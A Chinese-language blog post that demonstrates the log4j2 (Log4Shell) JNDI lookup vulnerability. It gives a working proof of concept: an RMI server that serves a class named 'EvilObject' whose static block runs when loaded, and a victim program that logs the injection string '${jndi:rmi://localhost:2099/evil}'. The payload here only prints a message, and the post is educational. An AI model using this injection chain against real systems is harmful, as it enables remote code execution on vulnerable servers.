天天看點

log4j2 漏洞模拟

一夜之間到處都是 log4j2 的漏洞,公司的群裡也收到了緊急通知,要求立刻修複!修複方式相信大家都清楚,更新 log4j2 版本或者通過一些參數來禁用 lookup 功能等,就不過多叙述了,本文主要帶大家看一下這個漏洞到底是怎麼回事,通過代碼來簡單模拟下這個漏洞。

lookup 功能

log4j 提供了 lookup 功能,通過lookup 你可以在你的log4j 配置檔案中添加你的變量值。最簡單的你配置日志使用的日期格式 $${date:yyyy-MM} 就是通過date lookup 功能實作的。此外還有很多的lookup,比如 docker-lookup、env-lookup 等。

lookup 功能使得日志的配置更加靈活,但是提供的 Jndi lookup  卻暴露了重大的漏洞。

通過 jndi 你可以遠端通路很多服務或接口。比如 ldap 、 RMI、CORBA 等,jndi-lookup 結合 jndi 和 lookup 這就帶來了遠端不可控的風險。

下面就通過 RMI 來模拟本次漏洞。

準備工作

1. build.gradle 檔案,添加配置:

implementation group: 'org.apache.logging.log4j', name: 'log4j-api', version: '2.14.1'
    implementation group: 'org.apache.logging.log4j', name: 'log4j-core', version: '2.14.1'
           

2. 通過RMI 暴露一個遠端惡意背景服務,并啟動

public class RemoteServer {
    public static void main(String[] args) {
        try {

            System.out.println(System.getSecurityManager() == null);
            if (System.getSecurityManager() == null) {
                System.setSecurityManager(new SecurityManager());
            }


            LocateRegistry.createRegistry(2099);
            Registry registry = LocateRegistry.getRegistry(2099);


            Reference ref = new Reference("top.lovelily.remote.EvilObject", "top.lovelily.remote.EvilObject", null);
            ReferenceWrapper remote = new ReferenceWrapper(ref);

            registry.rebind("evil", remote);
            System.out.println("啟動 RMI 服務端");
        } catch (Exception e) {
            e.printStackTrace();
        }


    }
}
           

遠端惡意代碼,很簡單就是執行一個靜态代碼塊:

public class EvilObject implements ObjectFactory {
    static {
        System.out.println("執行惡意代碼!");
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}
           

3. 下面模拟公司伺服器列印輸入參數

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class LocalServer {
    private static final Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        String input = "${jndi:rmi://localhost:2099/evil}";
        logger.info("hello1 {}", input);
    }
}
           

由于使用者輸入是任意的,攻擊者寫好攻擊代碼後,惡意輸入代碼中内容。就會在本地伺服器執行遠端惡意代碼:

log4j2 漏洞模拟

如果覺得還不錯的話,關注、分享、在看(關注不失聯~), 原創不易,且看且珍惜~

log4j2 漏洞模拟